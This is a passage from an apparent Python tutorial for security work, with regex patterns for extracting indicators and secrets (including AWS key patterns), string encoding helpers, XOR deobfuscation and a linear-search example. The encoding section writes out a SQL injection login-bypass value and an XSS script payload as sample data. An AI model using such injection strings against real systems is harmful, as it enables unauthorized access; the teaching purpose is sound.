  8.2 Essential Regex Patterns for Security Work
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;

&lt;span class="n"&gt;patterns&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;# Network
&lt;/span&gt;    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ipv4&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ipv6&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;(?:[0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;mac&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;(?:[0-9a-fA-F]{2}[:-]){5}[0-9a-fA-F]{2}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;url&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+[/\w .?=%&amp;amp;-]*&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;domain&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;(?:[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;

    &lt;span class="c1"&gt;# Credentials
&lt;/span&gt;    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;email&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;base64&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;

    &lt;span class="c1"&gt;# Hash patterns
&lt;/span&gt;    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;md5&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;\b[a-fA-F0-9]{32}\b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sha1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;\b[a-fA-F0-9]{40}\b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sha256&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;\b[a-fA-F0-9]{64}\b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ntlm&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;\b[a-fA-F0-9]{32}\b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;    &lt;span class="c1"&gt;# Same as MD5 format
&lt;/span&gt;
    &lt;span class="c1"&gt;# Credit card (for DLP testing)
&lt;/span&gt;    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;credit_card&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;\b(?:\d{4}[-\s]?){3}\d{4}\b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;

    &lt;span class="c1"&gt;# AWS
&lt;/span&gt;    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;aws_key&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;AKIA[0-9A-Z]{16}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;aws_secret&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;(?&amp;lt;![A-Z0-9])[A-Za-z0-9/+]{40}(?![A-Za-z0-9/+])&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;# Usage example: extract IOCs from text
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;extract_iocs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ips&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;patterns&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ipv4&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;domains&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;patterns&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;domain&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;emails&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;patterns&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;email&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;md5&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;patterns&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;md5&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sha256&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;patterns&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sha256&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;urls&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;patterns&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;url&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  8.3 String Encoding and Decoding for Security Work
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;binascii&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;html&lt;/span&gt;

&lt;span class="c1"&gt;# Base64
&lt;/span&gt;&lt;span class="n"&gt;encoded&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;b64encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;secret payload&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;   &lt;span class="c1"&gt;# String output
&lt;/span&gt;&lt;span class="n"&gt;decoded&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;b64decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;encoded&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                       &lt;span class="c1"&gt;# Bytes output
&lt;/span&gt;
&lt;span class="c1"&gt;# URL encoding/decoding
&lt;/span&gt;&lt;span class="n"&gt;url_encoded&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;quote&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SELECT * FROM users WHERE name=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;admin&lt;/span&gt;&lt;span class="sh"&gt;'"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# SELECT%20%2A%20FROM%20users%20WHERE%20name%3D%27admin%27
&lt;/span&gt;&lt;span class="n"&gt;decoded_url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;unquote&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url_encoded&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# URL encoding for POST data
&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;urllib.parse&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;urlencode&lt;/span&gt;
&lt;span class="n"&gt;params&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;username&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;admin&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt; OR &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;1&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;password&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;anything&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;encoded_params&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;urlencode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# HTML encoding/decoding
&lt;/span&gt;&lt;span class="n"&gt;html_encoded&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;html&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;escape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;script&amp;gt;alert(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;XSS&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;)&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# &amp;amp;lt;script&amp;amp;gt;alert(&amp;amp;#x27;XSS&amp;amp;#x27;)&amp;amp;lt;/script&amp;amp;gt;
&lt;/span&gt;&lt;span class="n"&gt;decoded_html&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;html&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;html_encoded&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Hex encoding
&lt;/span&gt;&lt;span class="n"&gt;hex_str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hello&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;               &lt;span class="c1"&gt;# '68656c6c6f'
&lt;/span&gt;&lt;span class="n"&gt;back&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fromhex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hex_str&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;         &lt;span class="c1"&gt;# 'hello'
&lt;/span&gt;
&lt;span class="c1"&gt;# ROT13 (Caesar cipher, used in old CTFs)
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;codecs&lt;/span&gt;
&lt;span class="n"&gt;rot13&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;codecs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Hello World&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;rot13&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# Uryyb Jbeyq
&lt;/span&gt;&lt;span class="n"&gt;original&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;codecs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rot13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;rot13&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;        &lt;span class="c1"&gt;# Hello World
&lt;/span&gt;
&lt;span class="c1"&gt;# XOR — common in malware obfuscation
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;xor_decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;obfuscated&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="mh"&gt;0x48&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="mh"&gt;0xAA&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x65&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="mh"&gt;0xAA&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x6C&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="mh"&gt;0xAA&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;  &lt;span class="c1"&gt;# XOR with 0xAA
&lt;/span&gt;&lt;span class="n"&gt;decoded&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;xor_decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obfuscated&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xAA&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;decoded&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                                  &lt;span class="c1"&gt;# b'Hel'
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  9. Basic Algorithms
&lt;/h2&gt;

&lt;h3&gt;
  
  
  9.1 Why Algorithms Matter in Security
&lt;/h3&gt;

&lt;p&gt;Algorithm knowledge in security is not academic. It directly applies to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Understanding time complexity of brute force attacks (how long will this actually take?)&lt;/li&gt;
&lt;li&gt;Writing efficient log parsers that handle millions of lines&lt;/li&gt;
&lt;li&gt;Implementing search in threat intelligence lookups&lt;/li&gt;
&lt;li&gt;Sorting and ranking vulnerabilities by severity&lt;/li&gt;
&lt;li&gt;Detecting patterns in network traffic&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  9.2 Searching
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Linear search — O(n) — check every element
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;linear_search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;item&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lst&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;item&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;

&lt;span class="c1"&gt;# For security: searching for a specific IP in a blocklist
&lt;/span&gt;&lt;span class="n"&gt;blocklist&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;10.0.0.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.100&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;172.16.0.5&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;linear_search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;blocklist&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.100&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Better for membership: use a set — O(1) lookup
&lt;/span&gt;&lt;span class="n"&gt;blocklist_set&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;blocklist&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
